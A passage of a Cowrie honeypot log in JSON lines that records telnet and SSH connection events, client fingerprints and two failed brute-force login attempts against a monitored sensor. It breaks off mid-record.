{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48988,"dst_ip":"10.17.0.5","dst_port":23,"session":"8064d07df435","protocol":"telnet","message":"New connection: 185.111.235.80:48988 (10.17.0.5:23) [session: 8064d07df435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:15.852549Z"}
{"eventid":"cowrie.session.closed","duration":30.829113006591797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:15.900095Z","src_ip":"185.111.235.80","session":"8cf3ac1bca43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":46416,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6d2c13b40bd","protocol":"telnet","message":"New connection: 117.120.7.112:46416 (159.203.135.109:23) [session: b6d2c13b40bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:15.971030Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43816,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ea03cddd7c7","protocol":"telnet","message":"New connection: 185.111.235.80:43816 (10.17.0.5:23) [session: 4ea03cddd7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:16.307658Z"}
{"eventid":"cowrie.session.closed","duration":34.29858422279358,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:16.456522Z","src_ip":"185.111.235.80","session":"ec6822a8f64e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:16.500679Z","src_ip":"176.65.139.103","session":"b4bb13239f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53610,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4140cf9a612","protocol":"telnet","message":"New connection: 185.111.235.80:53610 (10.17.0.5:23) [session: e4140cf9a612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:16.742439Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44786,"dst_ip":"10.17.0.5","dst_port":23,"session":"32579d2e3656","protocol":"telnet","message":"New connection: 185.111.235.80:44786 (10.17.0.5:23) [session: 32579d2e3656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:17.104087Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":49368,"dst_ip":"159.203.135.109","dst_port":23,"session":"af977927b48c","protocol":"telnet","message":"New connection: 117.120.7.112:49368 (159.203.135.109:23) [session: af977927b48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:17.133974Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":49890,"dst_ip":"159.203.135.109","dst_port":23,"session":"6afdb073ad45","protocol":"telnet","message":"New connection: 117.120.7.112:49890 (159.203.135.109:23) [session: 6afdb073ad45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:17.391774Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57174,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a8aa709df36","protocol":"telnet","message":"New connection: 185.111.235.80:57174 (10.17.0.5:23) [session: 6a8aa709df36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:17.428129Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57808,"dst_ip":"10.17.0.5","dst_port":23,"session":"fad4af684411","protocol":"telnet","message":"New connection: 185.111.235.80:57808 (10.17.0.5:23) [session: fad4af684411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:17.541679Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58250,"dst_ip":"10.17.0.5","dst_port":23,"session":"e821cff80d3e","protocol":"telnet","message":"New connection: 185.111.235.80:58250 (10.17.0.5:23) [session: e821cff80d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:17.647117Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59536,"dst_ip":"10.17.0.5","dst_port":23,"session":"b54df641ebc9","protocol":"telnet","message":"New connection: 185.111.235.80:59536 (10.17.0.5:23) [session: b54df641ebc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:17.968562Z"}
{"eventid":"cowrie.session.closed","duration":30.964102506637573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:18.048674Z","src_ip":"117.120.7.112","session":"793fb146f29e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.521849393844604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:18.238393Z","src_ip":"117.120.7.112","session":"35dfb448026d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":53082,"dst_ip":"159.203.135.109","dst_port":23,"session":"0972cf07979a","protocol":"telnet","message":"New connection: 117.120.7.112:53082 (159.203.135.109:23) [session: 0972cf07979a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:18.482439Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":54042,"dst_ip":"159.203.135.109","dst_port":23,"session":"29b49ec33986","protocol":"telnet","message":"New connection: 117.120.7.112:54042 (159.203.135.109:23) [session: 29b49ec33986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:18.823376Z"}
{"eventid":"cowrie.session.closed","duration":31.826093196868896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:18.900961Z","src_ip":"185.111.235.80","session":"2f212eae307e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":54428,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ce9c068741c","protocol":"telnet","message":"New connection: 117.120.7.112:54428 (159.203.135.109:23) [session: 8ce9c068741c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:18.976504Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59902,"dst_ip":"10.17.0.5","dst_port":23,"session":"70adc7ec5ced","protocol":"telnet","message":"New connection: 185.111.235.80:59902 (10.17.0.5:23) [session: 70adc7ec5ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:19.062333Z"}
{"eventid":"cowrie.session.closed","duration":30.506057024002075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:19.090613Z","src_ip":"117.120.7.112","session":"044881bd7e9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.423698902130127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:19.161272Z","src_ip":"117.120.7.112","session":"3c04ebc85213","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.138179063796997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:19.304574Z","src_ip":"185.111.235.80","session":"e73ceefbad00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":55448,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec6528aeceb9","protocol":"telnet","message":"New connection: 117.120.7.112:55448 (159.203.135.109:23) [session: ec6528aeceb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:19.433874Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39969,"dst_ip":"10.17.0.5","dst_port":23,"session":"c759241abe40","protocol":"telnet","message":"New connection: 185.111.235.80:39969 (10.17.0.5:23) [session: c759241abe40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:19.699130Z"}
{"eventid":"cowrie.session.closed","duration":31.506009817123413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:20.514621Z","src_ip":"185.111.235.80","session":"5570a375a9cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188990354537964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:20.987582Z","src_ip":"117.120.7.112","session":"d3d0a0b1e0ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59818,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fb93baac1fa","protocol":"telnet","message":"New connection: 185.111.235.80:59818 (10.17.0.5:23) [session: 1fb93baac1fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:21.040078Z"}
{"eventid":"cowrie.session.closed","duration":30.932357788085938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:21.049868Z","src_ip":"185.111.235.80","session":"d6df489611b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42792,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ebf08de960f","protocol":"telnet","message":"New connection: 185.111.235.80:42792 (10.17.0.5:23) [session: 5ebf08de960f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:21.272418Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48328,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cc8dfaae140","protocol":"telnet","message":"New connection: 185.111.235.80:48328 (10.17.0.5:23) [session: 2cc8dfaae140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:21.505828Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":42966,"dst_ip":"10.17.0.5","dst_port":22,"session":"96ac9e3cc720","protocol":"ssh","message":"New connection: 80.94.92.182:42966 (10.17.0.5:22) [session: 96ac9e3cc720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:21.558195Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":32950,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2783861dfea","protocol":"telnet","message":"New connection: 117.120.7.112:32950 (159.203.135.109:23) [session: f2783861dfea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:21.580518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:21.643266Z","src_ip":"80.94.92.182","session":"96ac9e3cc720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:21.759502Z","src_ip":"80.94.92.182","session":"96ac9e3cc720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33078,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1a507f43fa9","protocol":"ssh","message":"New connection: 176.65.139.103:33078 (10.17.0.5:22) [session: e1a507f43fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:21.850044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:21.855371Z","src_ip":"176.65.139.103","session":"e1a507f43fa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:21.941743Z","src_ip":"176.65.139.103","session":"e1a507f43fa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":33768,"dst_ip":"159.203.135.109","dst_port":23,"session":"e58e179def14","protocol":"telnet","message":"New connection: 117.120.7.112:33768 (159.203.135.109:23) [session: e58e179def14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:21.949729Z"}
{"eventid":"cowrie.session.closed","duration":30.906086444854736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:21.989058Z","src_ip":"185.111.235.80","session":"df40e5609fe1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.855557441711426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:22.030801Z","src_ip":"185.111.235.80","session":"33b92c670c61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56169581413269,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:22.058843Z","src_ip":"117.120.7.112","session":"ccc47114faf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.493021249771118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:22.140122Z","src_ip":"117.120.7.112","session":"3722a4ddacb8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:22.212866Z","src_ip":"176.65.139.103","session":"e1a507f43fa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"p@ssw0rd","message":"login attempt [solana/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:22.509283Z","src_ip":"80.94.92.182","session":"96ac9e3cc720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":34902,"dst_ip":"159.203.135.109","dst_port":23,"session":"25fa96e816ac","protocol":"telnet","message":"New connection: 117.120.7.112:34902 (159.203.135.109:23) [session: 25fa96e816ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:22.519240Z"}
{"eventid":"cowrie.session.closed","duration":31.023273468017578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:23.109330Z","src_ip":"185.111.235.80","session":"17a32defb4d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61191153526306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:23.117213Z","src_ip":"117.120.7.112","session":"a04ffea02299","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:23.301430Z","src_ip":"176.65.139.103","session":"e1a507f43fa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:23.697123Z","src_ip":"80.94.92.182","session":"96ac9e3cc720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.42758345603943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:24.006435Z","src_ip":"185.111.235.80","session":"8ac1471af326","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990856647491455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:24.030022Z","src_ip":"185.111.235.80","session":"87be5e44346e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.372976064682007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:24.089195Z","src_ip":"117.120.7.112","session":"0d5088bb0704","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.006688594818115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:24.521647Z","src_ip":"185.111.235.80","session":"ee29627c6774","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35594,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fd536f2872d","protocol":"telnet","message":"New connection: 185.111.235.80:35594 (10.17.0.5:23) [session: 9fd536f2872d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:25.037220Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":43024,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ad44b90284b","protocol":"telnet","message":"New connection: 117.120.7.112:43024 (159.203.135.109:23) [session: 4ad44b90284b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:25.883264Z"}
{"eventid":"cowrie.session.closed","duration":30.67755699157715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:26.237647Z","src_ip":"117.120.7.112","session":"5a206d5b75bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.258182525634766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:26.294665Z","src_ip":"185.111.235.80","session":"6b6e8dcc4cd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.276068925857544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:26.333728Z","src_ip":"185.111.235.80","session":"213b3aaa38c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43036,"dst_ip":"10.17.0.5","dst_port":23,"session":"331f2cc67220","protocol":"telnet","message":"New connection: 185.111.235.80:43036 (10.17.0.5:23) [session: 331f2cc67220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:26.652367Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.241.181.122","src_port":16844,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc82ca418b4b","protocol":"telnet","message":"New connection: 177.241.181.122:16844 (10.17.0.5:23) [session: dc82ca418b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:26.702832Z"}
{"eventid":"cowrie.session.closed","duration":30.75349235534668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:27.187392Z","src_ip":"117.120.7.112","session":"7cd18d862e8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48350,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdff3f7593f1","protocol":"telnet","message":"New connection: 185.111.235.80:48350 (10.17.0.5:23) [session: fdff3f7593f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:27.856017Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45788,"dst_ip":"10.17.0.5","dst_port":23,"session":"a52e9fd89b81","protocol":"telnet","message":"New connection: 185.111.235.80:45788 (10.17.0.5:23) [session: a52e9fd89b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:28.274967Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37212,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9f271f29426","protocol":"ssh","message":"New connection: 176.65.139.103:37212 (10.17.0.5:22) [session: a9f271f29426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:28.585067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:28.590291Z","src_ip":"176.65.139.103","session":"a9f271f29426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 